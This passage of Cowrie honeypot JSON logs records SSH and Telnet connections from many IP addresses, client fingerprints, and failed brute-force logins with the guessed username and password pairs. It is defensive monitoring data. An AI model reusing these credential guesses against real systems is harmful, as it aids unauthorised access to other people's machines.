s192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:34:40.309988Z","src_ip":"109.237.96.109","session":"b8b8811703c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":42810,"dst_ip":"10.17.0.5","dst_port":22,"session":"91a6f92efba5","protocol":"ssh","message":"New connection: 103.27.238.116:42810 (10.17.0.5:22) [session: 91a6f92efba5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:34:40.552432Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:34:40.556964Z","src_ip":"103.27.238.116","session":"91a6f92efba5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dfkthbz","message":"login attempt [root/dfkthbz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:34:40.606552Z","src_ip":"109.237.96.109","session":"b8b8811703c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:34:40.842337Z","src_ip":"103.27.238.116","session":"91a6f92efba5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":35758,"dst_ip":"10.17.0.5","dst_port":22,"session":"d9ec4dadfbee","protocol":"ssh","message":"New connection: 80.94.92.184:35758 (10.17.0.5:22) [session: d9ec4dadfbee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:34:41.599784Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"vfhbirf","message":"login attempt [root/vfhbirf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:34:41.701464Z","src_ip":"103.27.238.116","session":"91a6f92efba5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:34:41.706519Z","src_ip":"109.237.96.109","session":"b8b8811703c0","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:34:41.988745Z","src_ip":"80.94.92.184","session":"d9ec4dadfbee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:34:41.992314Z","src_ip":"80.94.92.184","session":"d9ec4dadfbee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ethereum","password":"ethereum","message":"login attempt [ethereum/ethereum] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:34:42.865452Z","src_ip":"80.94.92.184","session":"d9ec4dadfbee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:34:42.989484Z","src_ip":"103.27.238.116","session":"91a6f92efba5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:34:44.752552Z","src_ip":"80.94.92.184","session":"d9ec4dadfbee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.5","message":"Connection lost after 6.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:34:46.205913Z","src_ip":"173.255.221.189","session":"e874ddfe5457","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":40656,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d0409c3af7a","protocol":"ssh","message":"New connection: 103.77.175.15:40656 (10.17.0.5:22) [session: 5d0409c3af7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:34:49.745769Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:34:49.750532Z","src_ip":"103.77.175.15","session":"5d0409c3af7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:34:50.000195Z","src_ip":"103.77.175.15","session":"5d0409c3af7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mama123","message":"login attempt [root/mama123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:34:50.748633Z","src_ip":"103.77.175.15","session":"5d0409c3af7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:34:52.003678Z","src_ip":"103.77.175.15","session":"5d0409c3af7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.209.45.215","src_port":55648,"dst_ip":"10.17.0.5","dst_port":23,"session":"125378b87933","protocol":"telnet","message":"New connection: 115.209.45.215:55648 (10.17.0.5:23) [session: 125378b87933]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:35:11.647578Z"}
{"eventid":"cowrie.session.closed","duration":11.994001626968384,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:35:23.641416Z","src_ip":"115.209.45.215","session":"125378b87933","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":36910,"dst_ip":"10.17.0.5","dst_port":22,"session":"2479ea732974","protocol":"ssh","message":"New connection: 103.77.242.62:36910 (10.17.0.5:22) [session: 2479ea732974]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:35:26.352502Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:35:26.357968Z","src_ip":"103.77.242.62","session":"2479ea732974","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.49.1.183","src_port":4257,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b5ddb44dc8b","protocol":"ssh","message":"New connection: 65.49.1.183:4257 (159.203.135.109:22) [session: 1b5ddb44dc8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:35:26.552521Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:35:26.598705Z","src_ip":"103.77.242.62","session":"2479ea732974","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:35:26.647427Z","src_ip":"65.49.1.183","session":"1b5ddb44dc8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"7216c7c473918b4f83d1139b3c70dbf9","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-cbc,3des-cbc,arcfour;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-cbc","3des-cbc","arcfour"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 7216c7c473918b4f83d1139b3c70dbf9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:35:26.652512Z","src_ip":"65.49.1.183","session":"1b5ddb44dc8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sasha1","message":"login attempt [root/sasha1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:35:27.322556Z","src_ip":"103.77.242.62","session":"2479ea732974","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:35:28.566726Z","src_ip":"103.77.242.62","session":"2479ea732974","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:35:30.651506Z","src_ip":"65.49.1.183","session":"1b5ddb44dc8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.109.207","src_port":43044,"dst_ip":"159.203.135.109","dst_port":22,"session":"50abb4bdb42b","protocol":"ssh","message":"New connection: 94.159.109.207:43044 (159.203.135.109:22) [session: 50abb4bdb42b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:35:31.725510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:35:31.729844Z","src_ip":"94.159.109.207","session":"50abb4bdb42b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:35:31.845126Z","src_ip":"94.159.109.207","session":"50abb4bdb42b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:35:32.193563Z","src_ip":"94.159.109.207","session":"50abb4bdb42b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:35:33.315579Z","src_ip":"94.159.109.207","session":"50abb4bdb42b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":48784,"dst_ip":"159.203.135.109","dst_port":22,"session":"83ea8721753c","protocol":"ssh","message":"New connection: 80.66.85.226:48784 (159.203.135.109:22) [session: 83ea8721753c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:35:48.341939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:35:48.347075Z","src_ip":"80.66.85.226","session":"83ea8721753c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:35:48.441714Z","src_ip":"80.66.85.226","session":"83ea8721753c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:35:48.728519Z","src_ip":"80.66.85.226","session":"83ea8721753c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:35:49.825923Z","src_ip":"80.66.85.226","session":"83ea8721753c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":40582,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed17b6c0a396","protocol":"ssh","message":"New connection: 103.195.236.96:40582 (10.17.0.5:22) [session: ed17b6c0a396]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:36:43.499090Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:36:43.504389Z","src_ip":"103.195.236.96","session":"ed17b6c0a396","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS"